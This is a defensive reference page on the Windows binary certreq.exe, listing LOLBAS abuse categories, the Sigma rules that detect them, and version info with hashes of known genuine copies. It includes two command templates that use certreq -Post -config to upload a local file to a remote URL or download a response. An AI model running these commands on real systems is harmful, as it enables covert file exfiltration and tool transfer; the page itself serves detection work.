Identifier / Programs / Windows

certreq.exe

CertReq.exe file version info (xCyclopedia)

LOLBAS Download, Upload 3 Sigma rules name it 1 ATT&CK technique 2 documented commands 13 known copies with hashes

How certreq.exe is abused

documented by LOLBAS

Download T1105 Ingress Tool Transfer

-post

-config

Upload T1105 Ingress Tool Transfer

-post

-config

Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for certreq.exe.

2 documented commands

from LOLBAS, each read by the identifier

Download T1105 Ingress Tool Transfer User privileges

Send the specified file (penultimate argument) to the specified URL via HTTP POST and save the response to the specified txt file (last argument).

CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE} {PATH:.txt}

Identify

Trips 1 Sigma rule: highSuspicious CertReq Command to Download by Christian Burkard (Nextron Systems)

Upload T1105 Ingress Tool Transfer User privileges

Send the specified file (last argument) to the specified URL via HTTP POST and show response in terminal.

CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE}

Identify

Trips 1 Sigma rule: highSuspicious CertReq Command to Download by Christian Burkard (Nextron Systems)

All 2 commands the identifier reads trip a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for certreq.exe, by David Middlehurst, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for certreq.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.

What detects it

Sigma process creation rules

highSuspicious CertReq Command to DownloadChristian Burkard (Nextron Systems)

highHTML Help HH.EXE Suspicious Child ProcessMaxim Pavlunin, Nasreddine Bencherchali (Nextron Systems)

highSystem File Execution Location AnomalyFlorian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali (Nextron Systems)

T1105Ingress Tool Transfer

Is it the real certreq.exe?

file version info and known copies

Installed inC:\Windows\system32\
C:\Windows\SysWOW64\

Signed byMicrosoft Windows

ProductMicrosoft Windows Operating System, Microsoft Corporation

DescriptionCertReq.exe

13 known copies

10.0.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\certreq.exe · signed by Microsoft Windows

7240a63bd9d17c5c21142a510690216cc2f8c4718f31e499221e2e3a5b71eeda

10.0.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\certreq.exe · signed by Microsoft Windows

9ac6382c2c19250b6103dd6e917a4821ec9fba3ea7bb85584a09f68fbac2cb80

10.0.19041.1 (WinBuild.160101.0800) · C:\Windows\system32\certreq.exe · signed by Microsoft Windows

ac46a263ac5a21f55ff092d43fb865edbbab6af8bcbe1372ae004fd0b12a8e46

10.0.19041.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\certreq.exe · signed by Microsoft Windows

bdfd1131bfc746a7a08af26063fdf9ba148691c2ccd4cdebb5a73045bfc61b02

10.0.19041.1 (WinBuild.160101.0800) · C:\Windows\system32\certreq.exe · signed by Microsoft Windows

f13e81392cf787527eeefcc6bd0b1941ebcf24abe6a0ad9741c96a341e4a701e

10.0.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\certreq.exe · signed by Microsoft Windows

12f4c455b0a8e3e0b679841aef920616d43dd2898b780c23a962236a5f2b8a09

10.0.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\certreq.exe · signed by Microsoft Windows

48adeaf151b76d0b3628d95caeb895e0a14e31100e4bfd6b299271605edcd559

10.0.17763.1 (WinBuild.160101.0800) · C:\Windows\system32\certreq.exe · signed by Microsoft Windows

4065fb5985adbbc7ebaf8a366b231c92f951eebf5c65b95483d7e6167788aee6

10.0.17763.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\certreq.exe · signed by Microsoft Windows

d973513e4c048829ea1281a7c57a4c352a366b5b8fc9e39f177781af68e36396

10.0.14393.0 (rs1_release.160715-1616) · C:\Windows\system32\certreq.exe · signed by Microsoft Windows

23fd587c7c7facf6b1b23edaec7dbea5eaef4f3820acbad73d338774d29f2970

10.0.14393.0 (rs1_release.160715-1616) · C:\Windows\SysWOW64\certreq.exe · signed by Microsoft Windows

700d5585c389a180f99f90b0aa67dc1d31ca829603a1b023a5554d54d4cf6297

6.3.9600.16384 (winblue_rtm.130821-1623) · C:\windows\system32\certreq.exe · not signed

1a1a92010aaef7107236879a992b3acbf666f406ad063e1d3bb42d986d55f546

6.3.9600.16384 (winblue_rtm.130821-1623) · C:\windows\SysWOW64\certreq.exe · not signed

81956c77df1e2006ad328d98be39f837ccd044c172739237e330e850c86ca4f2

From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.